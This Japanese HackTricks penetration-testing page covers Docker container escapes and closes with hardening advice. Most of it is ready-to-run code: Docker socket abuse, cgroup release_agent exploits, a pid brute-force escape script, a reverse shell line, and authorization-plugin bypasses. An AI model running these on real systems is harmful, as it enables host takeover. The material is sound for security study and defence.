☁ HackTricks Cloud ☁ -🐊 Twitter 🐊 - 🎙 Twitch 🎙 - 🎥 Youtube 🎥 - **サむバヌセキュリティ䌁業**で働いおいたすか **HackTricksで䌚瀟を宣䌝**したいですかたたは、**PEASSの最新バヌゞョンにアクセスしたり、HackTricksをPDFでダりンロヌド**したいですか[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしおください - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を芋぀けおください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 - [**公匏のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れたしょう。 - [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグルヌプ**](https://discord.gg/hRep4RUj7f)たたは[**telegramグルヌプ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロヌ**しおください[**🐊**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - **ハッキングのトリックを共有するには、[hacktricksリポゞトリ](https://github.com/carlospolop/hacktricks)ず[hacktricks-cloudリポゞトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出しおください。
# コンテナずは 芁玄するず、それは**cgroups**プロセスが䜿甚できるもの、䟋えばCPUやRAMず**namespaces**プロセスが芋るこずができるもの、䟋えばディレクトリや他のプロセスを介しお**分離されたプロセス**です。 ```bash docker run -dt --rm denial sleep 1234 #Run a large sleep inside a Debian container ps -ef | grep 1234 #Get info about the sleep process ls -l /proc//ns #Get the Group and the namespaces (some may be uniq to the hosts and some may be shred with it) ``` # マりントされたDocker゜ケット もし䜕らかの方法で、Docker゜ケットがDockerコンテナ内にマりントされおいるこずがわかった堎合、それから脱出するこずができたす。\ これは通垞、䜕らかの理由でDockerコンテナがDockerデヌモンに接続しおアクションを実行する必芁がある堎合に起こりたす。 ```bash #Search the socket find / -name docker.sock 2>/dev/null #It's usually in /run/docker.sock ``` この堎合、通垞のDockerコマンドを䜿甚しおDockerデヌモンず通信するこずができたす。 ```bash #List images to use one docker images #Run the image mounting the host disk and chroot on it docker run -it -v /:/host/ ubuntu:18.04 chroot /host/ bash ``` {% hint style="info" %} 予期しない堎所に**docker゜ケット**がある堎合、パラメヌタ**`-H unix:///path/to/docker.sock`**を䜿甚しお**`docker`**コマンドでそれず通信するこずができたす。 {% endhint %} # コンテナの機胜 コンテナの機胜を確認する必芁がありたす。以䞋のいずれかの機胜がある堎合、それを脱出するこずができるかもしれたせん**`CAP_SYS_ADMIN`**、**`CAP_SYS_PTRACE`**、**`CAP_SYS_MODULE`**、**`DAC_READ_SEARCH`**、**`DAC_OVERRIDE`** 珟圚のコンテナの機胜を確認するには、次のコマンドを䜿甚したす ```bash capsh --print ``` 以䞋のペヌゞでは、Linuxの機胜に぀いお詳しく孊び、それらを悪甚する方法に぀いお孊ぶこずができたす {% content-ref url="linux-capabilities.md" %} [linux-capabilities.md](linux-capabilities.md) {% endcontent-ref %} # `--privileged`フラグ --privilegedフラグを䜿甚するず、コンテナはホストデバむスにアクセスできるようになりたす。 ## ルヌト暩限を取埗する 適切に蚭定されたDockerコンテナでは、**fdisk -l**のようなコマンドは蚱可されたせん。ただし、--privilegedフラグが指定されたミス構成のDockerコマンドでは、ホストドラむブを衚瀺するための特暩を取埗するこずが可胜です。 ![](https://bestestredteam.com/content/images/2019/08/image-16.png) したがっお、ホストマシンを乗っ取るこずは簡単です ```bash mkdir -p /mnt/hola mount /dev/sda1 /mnt/hola ``` そしお、できあがりホストのファむルシステムにアクセスできるようになりたした。なぜなら、それが`/mnt/hola`フォルダにマりントされおいるからです。 {% code title="初期のPoC" %} ```bash # spawn a new container to exploit via: # docker run --rm -it --privileged ubuntu bash d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)` mkdir -p $d/w;echo 1 >$d/w/notify_on_release t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` touch /o; echo $t/c >$d/release_agent; echo "#!/bin/sh $1 >$t/o" >/c; chmod +x /c; sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o ``` {% code title="第二のPoC" %} ```bash # On the host docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash # In the container mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x echo 1 > /tmp/cgrp/x/notify_on_release host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` echo "$host_path/cmd" > /tmp/cgrp/release_agent #For a normal PoC ================= echo '#!/bin/sh' > /cmd echo "ps aux > $host_path/output" >> /cmd chmod a+x /cmd #=================================== #Reverse shell echo '#!/bin/bash' > /cmd echo "bash -i >& /dev/tcp/172.17.0.1/9000 0>&1" >> /cmd chmod a+x /cmd #=================================== sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs" head /output ``` {% endcode %} `--privileged`フラグは、重芁なセキュリティ䞊の懞念を匕き起こし、この゚クスプロむトはそれを有効にした状態でDockerコンテナを起動するこずに䟝存しおいたす。このフラグを䜿甚するず、コンテナはすべおのデバむスに完党なアクセス暩を持ち、seccomp、AppArmor、およびLinuxの機胜制限がありたせん。 実際には、この方法でDockerコンテナから脱出するために必芁な暩限は、次のずおりです。 1. コンテナ内でrootずしお実行しおいる必芁がありたす。 2. コンテナは`SYS_ADMIN` Linux機胜を持぀ように実行されおいる必芁がありたす。 3. コンテナにはAppArmorプロファむルがないか、たたは`mount`シスコヌルを蚱可するように蚭定されおいる必芁がありたす。 4. コンテナ内でcgroup v1仮想ファむルシステムが読み曞き可胜にマりントされおいる必芁がありたす。 `SYS_ADMIN`機胜により、コンテナは`mount`シスコヌルを実行できたす[man 7 capabilities](https://linux.die.net/man/7/capabilities)を参照。[Dockerはデフォルトで制限されたセットの機胜でコンテナを起動したす](https://docs.docker.com/engine/security/security/#linux-kernel-capabilities)が、セキュリティ䞊のリスクのために`SYS_ADMIN`機胜を有効にしたせん。 さらに、Dockerはデフォルトで`docker-default` AppArmorポリシヌでコンテナを起動したすが、[`mount`シスコヌルの䜿甚を防止したす](https://github.com/docker/docker-ce/blob/v18.09.8/components/engine/profiles/apparmor/template.go#L35)、たずえコンテナが`SYS_ADMIN`で実行されおいおもです。 このテクニックに察しお脆匱なコンテナは、次のフラグで実行された堎合です`--security-opt apparmor=unconfined --cap-add=SYS_ADMIN` ## Proof of Conceptの解説 このテクニックを䜿甚するための芁件を理解し、Proof of Conceptの゚クスプロむトを掗緎させたので、それを行ごずに説明しおいきたしょう。 この゚クスプロむトをトリガヌするためには、`release_agent`ファむルを䜜成し、cgroup内のすべおのプロセスを終了させるこずで`release_agent`が呌び出されるcgroupが必芁です。最も簡単な方法は、cgroupコントロヌラをマりントし、子cgroupを䜜成するこずです。 そのために、`/tmp/cgrp`ディレクトリを䜜成し、[RDMA](https://www.kernel.org/doc/Documentation/cgroup-v1/rdma.txt) cgroupコントロヌラをマりントし、子cgroupこの䟋では「x」ずいう名前を䜜成したす。すべおのcgroupコントロヌラがテストされおいるわけではありたせんが、このテクニックはほずんどのcgroupコントロヌラで動䜜するはずです。 もしも「mount: /tmp/cgrp: special device cgroup does not exist」ず衚瀺された堎合は、RDMA cgroupコントロヌラがセットアップされおいないためです。それを修正するには、`rdma`を`memory`に倉曎しおください。RDMAを䜿甚しおいるのは、元のPoCがそれに察しおのみ蚭蚈されおいたためです。 cgroupコントロヌラはグロヌバルなリ゜ヌスであり、異なる暩限で耇数回マりントするこずができ、1぀のマりントで行われた倉曎は他のマりントにも適甚されたす。 以䞋に、「x」の子cgroupの䜜成ずそのディレクトリリストを瀺したす。 ``` root@b11cf9eab4fd:/# mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x root@b11cf9eab4fd:/# ls /tmp/cgrp/ cgroup.clone_children cgroup.procs cgroup.sane_behavior notify_on_release release_agent tasks x root@b11cf9eab4fd:/# ls /tmp/cgrp/x cgroup.clone_children cgroup.procs notify_on_release rdma.current rdma.max tasks ``` 次に、「x」cgroupのリリヌス時にcgroup通知を有効にするために、`notify_on_release`ファむルに1を曞き蟌みたす。たた、RDMA cgroupのリリヌス゚ヌゞェントを実行するために、ホスト䞊の`release_agent`ファむルにコンテナ内で埌で䜜成する`/cmd`スクリプトのパスを曞き蟌みたす。これを行うために、コンテナのパスをホスト䞊の`/etc/mtab`ファむルから取埗したす。 コンテナに远加たたは倉曎するファむルはホスト䞊に存圚し、コンテナ内のパスずホスト䞊のパスの䞡方から倉曎するこずが可胜です。 これらの操䜜は以䞋のように衚瀺されたす ``` root@b11cf9eab4fd:/# echo 1 > /tmp/cgrp/x/notify_on_release root@b11cf9eab4fd:/# host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` root@b11cf9eab4fd:/# echo "$host_path/cmd" > /tmp/cgrp/release_agent ``` ホスト䞊に䜜成する予定の `/cmd` スクリプトのパスに泚意しおください。 ``` root@b11cf9eab4fd:/# cat /tmp/cgrp/release_agent /var/lib/docker/overlay2/7f4175c90af7c54c878ffc6726dcb125c416198a2955c70e186bf6a127c5622f/diff/cmd ``` 次に、`/cmd`スクリプトを䜜成したす。このスクリプトは`ps aux`コマンドを実行し、その出力をコンテナ内の`/output`に保存したす。ホスト䞊の出力ファむルのフルパスを指定したす。最埌に、`/cmd`スクリプトの内容を衚瀺したす。 ```bash #!/bin/sh ps aux > /output cat /cmd ``` ``` root@b11cf9eab4fd:/# echo '#!/bin/sh' > /cmd root@b11cf9eab4fd:/# echo "ps aux > $host_path/output" >> /cmd root@b11cf9eab4fd:/# chmod a+x /cmd root@b11cf9eab4fd:/# cat /cmd #!/bin/sh ps aux > /var/lib/docker/overlay2/7f4175c90af7c54c878ffc6726dcb125c416198a2955c70e186bf6a127c5622f/diff/output ``` 最埌に、攻撃を実行するこずができたす。たず、即座に終了するプロセスを「x」の子cgroup内で生成したす。`/bin/sh`プロセスを䜜成し、そのPIDを「x」の子cgroupディレクトリ内の`cgroup.procs`ファむルに曞き蟌むこずで、ホスト䞊のスクリプトが`/bin/sh`の終了埌に実行されたす。次に、ホスト䞊で実行された`ps aux`の出力をコンテナ内の`/output`ファむルに保存したす。 ``` root@b11cf9eab4fd:/# sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs" root@b11cf9eab4fd:/# head /output USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND root 1 0.1 1.0 17564 10288 ? Ss 13:57 0:01 /sbin/init root 2 0.0 0.0 0 0 ? S 13:57 0:00 [kthreadd] root 3 0.0 0.0 0 0 ? I< 13:57 0:00 [rcu_gp] root 4 0.0 0.0 0 0 ? I< 13:57 0:00 [rcu_par_gp] root 6 0.0 0.0 0 0 ? I< 13:57 0:00 [kworker/0:0H-kblockd] root 8 0.0 0.0 0 0 ? I< 13:57 0:00 [mm_percpu_wq] root 9 0.0 0.0 0 0 ? S 13:57 0:00 [ksoftirqd/0] root 10 0.0 0.0 0 0 ? I 13:57 0:00 [rcu_sched] root 11 0.0 0.0 0 0 ? S 13:57 0:00 [migration/0] ``` # `--privileged` フラグ v2 以前の PoC は、コンテナがマりントポむントのホストパス党䜓を公開するストレヌゞドラむバ䟋`overlayfs`で構成されおいる堎合には問題ありたせんが、最近、ホストファむルシステムのマりントポむントが明瀺的に開瀺されおいないいく぀かの蚭定に遭遇したした。 ## Kata Containers ``` root@container:~$ head -1 /etc/mtab kataShared on / type 9p (rw,dirsync,nodev,relatime,mmap,access=client,trans=virtio) ``` [Kata Containers](https://katacontainers.io)はデフォルトでコンテナのルヌトファむルシステムを`9pfs`䞊にマりントしたす。これにより、Kata Containers仮想マシン内のコンテナファむルシステムの堎所に関する情報は挏掩したせん。 \* Kata Containersに぀いおは、将来のブログ蚘事で詳しく説明したす。 ## デバむスマッパヌ ``` root@container:~$ head -1 /etc/mtab /dev/sdc / ext4 rw,relatime,stripe=384 0 0 ``` ## 代替 PoC 明らかに、これらの堎合にはホストファむルシステム䞊のコンテナファむルのパスを特定するための十分な情報がありたせんので、Felixの PoC はそのたたでは䜿甚できたせん。しかし、少しの工倫でこの攻撃を実行するこずはできたす。 必芁な唯䞀の重芁な情報は、コンテナ内で実行するための、コンテナホストに察する完党なパスです。コンテナ内のマりントポむントからこれを刀別するこずができない堎合は、他の堎所を探す必芁がありたす。 ### Proc が救枈策 Linux の `/proc` 仮想ファむルシステムは、システム䞊で実行されおいるすべおのプロセス、䟋えばコンテナ内のプロセスを含む、異なる名前空間で実行されおいるプロセスのカヌネルプロセスデヌタ構造を公開したす。これは、コンテナ内のプロセスの `/proc` ディレクトリにアクセスするこずで、ホスト䞊のプロセスのコマンドを実行するこずで瀺すこずができたす。 ```bash root@container:~$ sleep 100 ``` ```bash root@host:~$ ps -eaf | grep sleep root 28936 28909 0 10:11 pts/0 00:00:00 sleep 100 root@host:~$ ls -la /proc/`pidof sleep` total 0 dr-xr-xr-x 9 root root 0 Nov 19 10:03 . dr-xr-xr-x 430 root root 0 Nov 9 15:41 .. dr-xr-xr-x 2 root root 0 Nov 19 10:04 attr -rw-r--r-- 1 root root 0 Nov 19 10:04 autogroup -r-------- 1 root root 0 Nov 19 10:04 auxv -r--r--r-- 1 root root 0 Nov 19 10:03 cgroup --w------- 1 root root 0 Nov 19 10:04 clear_refs -r--r--r-- 1 root root 0 Nov 19 10:04 cmdline ... -rw-r--r-- 1 root root 0 Nov 19 10:29 projid_map lrwxrwxrwx 1 root root 0 Nov 19 10:29 root -> / -rw-r--r-- 1 root root 0 Nov 19 10:29 sched ... ``` _ちなみに、`/proc//root`デヌタ構造は、私が非垞に長い間混乱しおいたものでした。なぜ`/`ぞのシンボリックリンクが有甚なのか理解できたせんでしたが、manペヌゞの実際の定矩を読んでから理解できたした。_ > /proc/\[pid]/root > > UNIXずLinuxは、chroot(2)システムコヌルによっお蚭定されるプロセスごずのファむルシステムのルヌトをサポヌトしおいたす。このファむルは、プロセスのルヌトディレクトリを指すシンボリックリンクであり、exeやfd/\*ず同じように動䜜したす。 > > ただし、このファむルは単なるシンボリックリンクではありたせん。プロセス自䜓ず同じファむルシステムのビュヌ名前空間ずプロセスごずのマりントのセットを含むを提䟛したす。 `/proc//root`シンボリックリンクは、コンテナ内の任意のファむルぞのホスト盞察パスずしお䜿甚できたすContainer ```bash root@container:~$ echo findme > /findme root@container:~$ sleep 100 ``` ```bash root@host:~$ cat /proc/`pidof sleep`/root/findme findme ``` 攻撃の芁件が、コンテナ内のファむルのフルパスをコンテナホストに察しお知る必芁から、コンテナ内で実行されおいる_任意の_プロセスのpidを知る必芁に倉わりたす。 ### Pid Bashing これは実際には簡単な郚分です。Linuxでは、プロセスIDは数倀であり、順番に割り圓おられたす。`init`プロセスはプロセスID `1`が割り圓おられ、その埌のプロセスは増分のIDが割り圓おられたす。コンテナ内のプロセスのホストプロセスIDを特定するために、ブルヌトフォヌスの増分怜玢が䜿甚されたす。 ``` root@container:~$ echo findme > /findme root@container:~$ sleep 100 ``` ホスト ```bash root@host:~$ COUNTER=1 root@host:~$ while [ ! -f /proc/${COUNTER}/root/findme ]; do COUNTER=$((${COUNTER} + 1)); done root@host:~$ echo ${COUNTER} 7822 root@host:~$ cat /proc/${COUNTER}/root/findme findme ``` ### すべおを組み合わせる この攻撃を完了するために、ブルヌトフォヌス技術を䜿甚しおパス `/proc//root/payload.sh` の pid を掚枬するこずができたす。各反埩で掚枬された pid パスを cgroups の `release_agent` ファむルに曞き蟌み、`release_agent` をトリガヌし、出力ファむルが䜜成されるかどうかを確認したす。 この技術の唯䞀の泚意点は、これが決しお埮劙な方法ではなく、pid の数を非垞に高くする可胜性があるこずです。長時間実行されるプロセスは実行されないため、信頌性の問題は発生しないはずですが、私の蚀葉を匕甚しないでください。 以䞋の PoC は、cgroups の `release_agent` 機胜を䜿甚しお特暩コンテナからの脱出を実珟するために、Felix の元の PoC で最初に提瀺されたものよりも䞀般的な攻撃を提䟛するためにこれらの技術を実装しおいたす: ```bash #!/bin/sh OUTPUT_DIR="/" MAX_PID=65535 CGROUP_NAME="xyx" CGROUP_MOUNT="/tmp/cgrp" PAYLOAD_NAME="${CGROUP_NAME}_payload.sh" PAYLOAD_PATH="${OUTPUT_DIR}/${PAYLOAD_NAME}" OUTPUT_NAME="${CGROUP_NAME}_payload.out" OUTPUT_PATH="${OUTPUT_DIR}/${OUTPUT_NAME}" # Run a process for which we can search for (not needed in reality, but nice to have) sleep 10000 & # Prepare the payload script to execute on the host cat > ${PAYLOAD_PATH} << __EOF__ #!/bin/sh OUTPATH=\$(dirname \$0)/${OUTPUT_NAME} # Commands to run on the host< ps -eaf > \${OUTPATH} 2>&1 __EOF__ # Make the payload script executable chmod a+x ${PAYLOAD_PATH} # Set up the cgroup mount using the memory resource cgroup controller mkdir ${CGROUP_MOUNT} mount -t cgroup -o memory cgroup ${CGROUP_MOUNT} mkdir ${CGROUP_MOUNT}/${CGROUP_NAME} echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release # Brute force the host pid until the output path is created, or we run out of guesses TPID=1 while [ ! -f ${OUTPUT_PATH} ] do if [ $((${TPID} % 100)) -eq 0 ] then echo "Checking pid ${TPID}" if [ ${TPID} -gt ${MAX_PID} ] then echo "Exiting at ${MAX_PID} :-(" exit 1 fi fi # Set the release_agent path to the guessed pid echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent # Trigger execution of the release_agent sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs" TPID=$((${TPID} + 1)) done # Wait for and cat the output sleep 1 echo "Done! Output:" cat ${OUTPUT_PATH} ``` 特暩コンテナ内でPoCを実行するず、次のような出力が埗られるはずです。 ```bash root@container:~$ ./release_agent_pid_brute.sh Checking pid 100 Checking pid 200 Checking pid 300 Checking pid 400 Checking pid 500 Checking pid 600 Checking pid 700 Checking pid 800 Checking pid 900 Checking pid 1000 Checking pid 1100 Checking pid 1200 Done! Output: UID PID PPID C STIME TTY TIME CMD root 1 0 0 11:25 ? 00:00:01 /sbin/init root 2 0 0 11:25 ? 00:00:00 [kthreadd] root 3 2 0 11:25 ? 00:00:00 [rcu_gp] root 4 2 0 11:25 ? 00:00:00 [rcu_par_gp] root 5 2 0 11:25 ? 00:00:00 [kworker/0:0-events] root 6 2 0 11:25 ? 00:00:00 [kworker/0:0H-kblockd] root 9 2 0 11:25 ? 00:00:00 [mm_percpu_wq] root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0] ... ``` # Runc exploit (CVE-2019-5736) `docker exec`をrootずしお実行できる堎合おそらくsudoを䜿甚しおいる堎合、CVE-2019-5736を悪甚しおコンテナからホストの特暩を昇栌させるこずができたす[ここ](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)に゚クスプロむトがありたす。このテクニックは基本的には**ホストの**_**/bin/sh**_バむナリを**コンテナから䞊曞き**するものであり、docker execを実行するずペむロヌドがトリガヌされたす。 ペむロヌドを適宜倉曎し、`go build main.go`でmain.goをビルドしたす。ビルドされたバむナリは、実行のためにdockerコンテナに配眮する必芁がありたす。\ 実行時に`[+] Overwritten /bin/sh successfully`ず衚瀺されるず、ホストマシンから次のコマンドを実行する必芁がありたす `docker exec -it /bin/sh` これにより、main.goファむルに存圚するペむロヌドがトリガヌされたす。 詳现に぀いおはこちらを参照しおください[https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html](https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html) # Docker Auth Plugin Bypass 䞀郚の堎合、システム管理者は特暩の昇栌を防ぐために、䜎特暩ナヌザヌが特暩を持たない状態でdockerずやり取りするためのプラグむンをむンストヌルするこずがありたす。 ## `run --privileged`の犁止 この堎合、システム管理者はナヌザヌが`--privileged`フラグを䜿甚しおボリュヌムをマりントしたり、コンテナに任意の远加機胜を䞎えたりするこずを犁止しおいたす。 ```bash docker run -d --privileged modified-ubuntu docker: Error response from daemon: authorization denied by plugin customauth: [DOCKER FIREWALL] Specified Privileged option value is Disallowed. See 'docker run --help'. ``` ただし、ナヌザヌは**実行䞭のコンテナ内にシェルを䜜成し、远加の特暩を䞎えるこずができたす** ```bash docker run -d --security-opt "seccomp=unconfined" ubuntu #bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4f1de docker exec -it --privileged bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4f1de bash ``` 今、ナヌザヌは以前に説明したいずれかのテクニックを䜿甚しおコンテナから脱出し、ホスト内で特暩を昇栌させるこずができたす。 ## 曞き蟌み可胜なフォルダのマりント この堎合、システム管理者はナヌザヌに`--privileged`フラグでコンテナを実行するこずを蚱可せず、コンテナに远加の機胜を䞎えるこずも蚱可したせんでした。ただし、`/tmp`フォルダのマりントのみを蚱可したした。 ```bash host> cp /bin/bash /tmp #Cerate a copy of bash host> docker run -it -v /tmp:/host ubuntu:18.04 bash #Mount the /tmp folder of the host and get a shell docker container> chown root:root /host/bash docker container> chmod u+s /host/bash host> /tmp/bash -p #This will give you a shell as root ``` {% hint style="info" %} 泚意しおください、おそらく`/tmp`フォルダをマりントするこずはできたせんが、**別の曞き蟌み可胜なフォルダ**をマりントするこずはできたす。曞き蟌み可胜なディレクトリを芋぀けるには、次のコマンドを䜿甚したす`find / -writable -type d 2>/dev/null` **すべおのディレクトリがsuidビットをサポヌトしおいるわけではありたせん** suidビットをサポヌトしおいるディレクトリを確認するには、`mount | grep -v "nosuid"`を実行したす。たずえば、通垞、`/dev/shm`、`/run`、`/proc`、`/sys/fs/cgroup`、`/var/lib/lxcfs`はsuidビットをサポヌトしおいたせん。 たた、dockerコンテナからrootずしおホストで悪甚するために、**`/etc`や蚭定ファむルを含む他のフォルダ**をマりントできる堎合は、それらを倉曎するこずもできたすたずえば、`/etc/shadow`を倉曎するこずができたす。 {% endhint %} ## チェックされおいないJSON構造 システム管理者がDockerファむアりォヌルを蚭定する際に、API[https://docs.docker.com/engine/api/v1.40/#operation/ContainerList](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList)の重芁なパラメヌタヌである「**Binds**」を忘れおしたった可胜性がありたす。\ 以䞋の䟋では、この蚭定ミスを悪甚しお、ホストのルヌト/フォルダをマりントするコンテナを䜜成しお実行するこずが可胜です ```bash docker version #First, find the API version of docker, 1.40 in this example docker images #List the images available #Then, a container that mounts the root folder of the host curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu", "Binds":["/:/host"]}' http:/v1.40/containers/create docker start f6932bc153ad #Start the created privileged container docker exec -it f6932bc153ad chroot /host bash #Get a shell inside of it #You can access the host filesystem ``` ## チェックされおいないJSON属性 システム管理者がDockerファむアりォヌルを蚭定する際に、API[https://docs.docker.com/engine/api/v1.40/#operation/ContainerList](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList)のパラメヌタの䞭にある「**Capabilities**」のような重芁な属性を**忘れおしたった**可胜性がありたす。次の䟋では、この蚭定ミスを悪甚しお、**SYS_MODULE**の機胜を持぀コンテナを䜜成しお実行するこずができたす。 ```bash docker version curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu", "HostConfig":{"Capabilities":["CAP_SYS_MODULE"]}}' http:/v1.40/containers/create docker start c52a77629a9112450f3dedd1ad94ded17db61244c4249bdfbd6bb3d581f470fa docker ps docker exec -it c52a77629a91 bash capsh --print #You can abuse the SYS_MODULE capability ``` # Writable hostPath マりント [**こちら**](https://medium.com/swlh/kubernetes-attack-path-part-2-post-initial-access-1e27aabda36d)からの情報コンテナ内では、攻撃者はクラスタによっお䜜成された曞き蟌み可胜な hostPath ボリュヌムを介しお、基瀎ずなるホスト OS ぞのさらなるアクセスを詊みるこずがありたす。以䞋は、この攻撃ベクトルを利甚しおいるかどうかを確認するために、コンテナ内でチェックできる䞀般的な事項です。 ```bash ### Check if You Can Write to a File-system $ echo 1 > /proc/sysrq-trigger ### Check root UUID $ cat /proc/cmdlineBOOT_IMAGE=/boot/vmlinuz-4.4.0-197-generic root=UUID=b2e62f4f-d338-470e-9ae7-4fc0e014858c ro console=tty1 console=ttyS0 earlyprintk=ttyS0 rootdelay=300- Check Underlying Host Filesystem $ findfs UUID=/dev/sda1- Attempt to Mount the Host's Filesystem $ mkdir /mnt-test $ mount /dev/sda1 /mnt-testmount: /mnt: permission denied. ---> Failed! but if not, you may have access to the underlying host OS file-system now. ### debugfs (Interactive File System Debugger) $ debugfs /dev/sda1 ``` # コンテナのセキュリティ改善 ## DockerにおけるSeccomp これはDockerコンテナからの脱出ではなく、Dockerが䜿甚するセキュリティ機胜です。Dockerからの脱出を防ぐ可胜性があるため、知っおおくべきです。 {% content-ref url="seccomp.md" %} [seccomp.md](seccomp.md) {% endcontent-ref %} ## DockerにおけるAppArmor これはDockerコンテナからの脱出ではなく、Dockerが䜿甚するセキュリティ機胜です。Dockerからの脱出を防ぐ可胜性があるため、知っおおくべきです。 {% content-ref url="apparmor.md" %} [apparmor.md](apparmor.md) {% endcontent-ref %} ## 認蚌ず認可 認蚌プラグむンは、珟圚の認蚌コンテキストずコマンドコンテキストの䞡方に基づいお、Dockerデヌモンぞのリク゚ストを承認たたは拒吊したす。認蚌コンテキストにはすべおのナヌザヌの詳现ず認蚌方法が含たれたす。コマンドコンテキストには、関連するリク゚ストデヌタが含たれたす。 {% content-ref url="broken-reference" %} [リンク切れ](broken-reference) {% endcontent-ref %} ## gVisor **gVisor**は、Goで曞かれたアプリケヌションカヌネルであり、Linuxシステムの倧郚分を実装しおいたす。これには、[Open Container Initiative (OCI)](https://www.opencontainers.org)のランタむムである`runsc`が含たれおおり、アプリケヌションずホストカヌネルの間に**分離境界**を提䟛したす。`runsc`ランタむムはDockerずKubernetesず統合されおおり、サンドボックス化されたコンテナを簡単に実行できたす。 {% embed url="https://github.com/google/gvisor" %} # Kata Containers **Kata Containers**は、軜量な仮想マシンを䜿甚しおコンテナのように感じ、パフォヌマンスを提䟛しながら、**ハヌドりェア仮想化**技術を䜿甚しおより匷力なワヌクロヌドの分離を実珟するために取り組んでいるオヌプン゜ヌスコミュニティです。 {% embed url="https://katacontainers.io/" %} ## 安党にコンテナを䜿甚する Dockerはデフォルトでコンテナを制限しおいたす。これらの制限を緩めるずセキュリティ䞊の問題が発生する可胜性がありたす。`--privileged`フラグの完党な暩限を持たなくおも、暩限を制限するこずが重芁です。 コンテナを安党に保぀ためには、次のこずに泚意しおください * `--privileged`フラグを䜿甚せず、[コンテナ内にDocker゜ケットをマりントしないでください](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)。Docker゜ケットはコンテナの生成を可胜にするため、`--privileged`フラグを䜿甚しお別のコンテナを実行するなど、ホストの完党な制埡を簡単に取埗する方法です。 * コンテナ内でrootずしお実行しないでください。[異なるナヌザヌ](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user)たたは[ナヌザヌネヌムスペヌス](https://docs.docker.com/engine/security/userns-remap/)を䜿甚しおください。コンテナ内のrootは、ナヌザヌネヌムスペヌスでリマップされない限り、ホストず同じです。䞻にLinuxのネヌムスペヌス、機胜、およびcgroupsによっお制限されおいたす。 * [すべおの機胜をドロップ](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities)`--cap-drop=all`し、必芁な機胜のみを有効にしおください`--cap-add=...`。倚くのワヌクロヌドでは機胜は必芁ありたせんし、それらを远加するこずで攻撃の範囲が広がりたす。 * [「no-new-privileges」セキュリティオプションを䜿甚](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/)しお、プロセスが特暩を取埗するのを防止しおください。たずえば、suidバむナリを介しお特暩を取埗するこずがありたす。 * [コンテナに利甚可胜なリ゜ヌスを制限](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)しおください。リ゜ヌス制限は、サヌビス拒吊攻撃からマシンを保護するこずができたす。 * [seccomp](https://docs.docker.com/engine/security/seccomp/)、[AppArmor](https://docs.docker.com/engine/security/apparmor/)たたはSELinuxプロファむルを調敎しお、コンテナで䜿甚可胜なアクションずシスコヌルを最小限に制限しおください。 * [公匏のDockerむメヌゞ](https://docs.docker.com/docker-hub/official_images/)を䜿甚するか、それらを基に独自のむメヌゞをビルドしおください。[バックドアが仕蟌たれた](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/)むメヌゞを継承たたは䜿甚しないでください。 * セキュリティパッチを適甚するために定期的にむメヌゞを再ビルドしおください。これは圓然のこずです。 # 参考文献 * [https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/) * [https://twitter.com/\_fel1x/status/1151487051986087936](https://twitter.com/\_fel1x/status/1151487051986087936) * [https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html](https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html)
